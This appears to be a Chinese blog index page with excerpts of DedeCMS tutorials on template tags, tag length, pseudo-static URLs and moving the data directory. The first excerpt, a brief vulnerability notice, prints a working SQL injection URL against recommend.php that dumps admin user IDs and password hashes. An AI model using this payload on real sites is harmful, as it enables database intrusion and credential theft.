DedeCMS recommend.php 注入漏洞2014年07月27日
dedecms老版本还有这个漏斗,希望可以补上,或者更新到最新的官网版本。
http://网址/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\’and+char(@`’`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%2...阅读全文
1条评论
dede 获取当前栏目ID及调用当前栏目的字段2012年09月03日
找了半天,都是要自定义标签和数据的,还要㊣一大堆代码,最后终于找到一个比较不错的方法。
获取dedecms当前栏目的ID
{dede:type}[field:ID /]{/dede:type}
如果是在{dede:sql}里面需要用到当前栏目ID的话就
{dede:sql sql='Select * from dede_arctype where id = ~typeid~ '}
[field:字段]
{/dede:sql}
阅读全文
dedecms5.7 网站首页自动添加index.html除掉方法2012年07月28日
为了几种权重,为了美观,现在我们都不怎么想看到index.html结尾的网站,那么怎么把index.html不出现了,下面就是TC收集的两种dedecms修改方法给大家做为参考。
windows主机的解决办法:
将空间或者服务器的默认首页,从index.php优先改为index.html优先,用iis服务器的,只要在空间首页设置里面把 index.html放在index.php前面即可。
linux主机的解决办法:
在站点根目录建立.htaccess文件...阅读全文
DEDECMS无法上传图片的解决办法2012年07月04日
把include/uploadsafe.inc.php里找到以下代码
$imtypes = array("image/pjpeg","image/jpeg","image/gif","image/png","image/xpng","image/wbmp","image/bmp");
if(in_array(strtolower(trim(${$_key.'_type'})),$imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{ ...阅读全文
DEDECMS修改tag字数限制,Dede Tag标签默认长度设置与修改2012年06月19日
织梦(dedecms)的TAGS默认字数较少,只能写12个字符,多出的字符就会自动截断,或者直接去除,经常给我们带来一些麻烦,下面介绍如何修改织梦(dedecms)TAGS的字数限制。
默认情况下,在织梦5.7中,tag的长度是12字节,也就是6个汉字,这个设定是基于效率问题考虑的,如果更新的时候设置的长度超过这个字符,系统就会不显示这个tag。有时候需要根据实际情况修改tag的长度,下面是方法。
1.修...阅读全文
将dedecms系统的data目录迁移到web以外目录2012年05月18日
data目录是系统缓存和配置文件的目录,一般都有可以读写的权限,只要是能够写入的目录都可能存在安全隐患,很多站长甚至给予这个目录可执行的权限,更是非常危险,所以我们建议将这个data目录搬移出Web可访问目录之外。本篇将介绍如何将data目录搬移出Web访问目录。
本操作需要用户对DedeCMS系统有较高的了解,如果您感觉自己不太掌握,可以考虑选择官方安全相关服务。点击查看
1.将data目录...阅读全文
dedecms问答模块调用指定栏目2012年05月10日
其实该方法和TC前面说的dedecms调用head.htm头部的文件方法差不多,我们也可以在dedecms下调用自定义模版,这样也方便全站的管理,为我们节省了很多代码。
1、打开”/include/common.func.php”,
然后在该文件中加入一个函数,代码如下:
function pasterTempletDiy($path)
{
require_once(DEDEINC."/arc.partview.class.php");
global $cfg_basedir,$cfg_templets...阅读全文
dede文章页标题调用当前栏目名称2012年05月04日
<a href="{dede:field name='typelink'/}" target='_blank'>{dede:field name='typename'/}</a>
(1)自动调用大栏目下的二级栏目代码。放到相应模板,会在该栏目的列表页和文章页自动调用处该大栏目下的二级栏目名称
{dede:channel type=’son’ }
<ul>
<li><a href="”[field:typeurl/]“"><span>[f...阅读全文
dede(织梦)栏目内容页面字数长度2012年05月04日
{dede:field.content function='cn_substr(@me,80)'/}
[field:description /]标签如何限制字数?
[field:description function='cn_substr(@me,80)'/]
dedecms 里的所有标记都支持这样使用函数的
{dede:sql sql='Select content from dede_arctype where id=20'}[field:contentfunction="cn_substr('@me',200)" /]
{/dede:sql}...阅读全文
解决dedecms调用问答、会员模版头部调用2012年03月30日
有时候我们需要在dedecms问答模块中调用网站首页或者栏目页面的头部模版文件,但是不能直接调用怎么办?dedecms5.7中可以通过添加函数的方法调用。
一、DedeCMS v5.7系统打开”/include/extend.func.php”,该文件5.7版本默认存在。DedeCMS5.6系统可以加在/include/common.func.php结尾,v5.5的不存在,自己建一个common.func.php,放在include文件夹下。
然后在该文件中加入一个...阅读全文
dedecms问答模块伪静态设置攻略2012年03月23日
想把dedecms做的网站搞个伪静态,虽然这样有点考验服务器,但是现在也不是什么大问题了,服务器都这么彪悍了,不是一辆下就崩溃了,所以就重写吧。首先确定你的主机是否支持伪静态?这点很重要,不然下面说再多也是白搭。简单说明下,Apache服务器伪静态实现需要借助.htaccess文件;IIS服务器伪静态实现则需要加载Rewrite组件,然后配置httpd.ini文件;
dedecms V5.7管理后台-系统-系统基本...阅读全文
dedecms调用文章上级栏目名字和链接的方法2012年03月13日
有时候,我们需要在侧面栏调用文章的上级栏目的名称和链接,现在dedecms没有自带了,那么我们应该怎么调用了?
1、直接用sql语句调用dedecms栏目名称和链接:
动态页:
{dede:type}
[field:id runphp=yes]
$tsql = new DedeSql(false);
$typelink2 = '';
$tsql->SetQuery("Select i.typedir,i.id,i.typename From dede_arctype t left join dede_arctype...阅读全文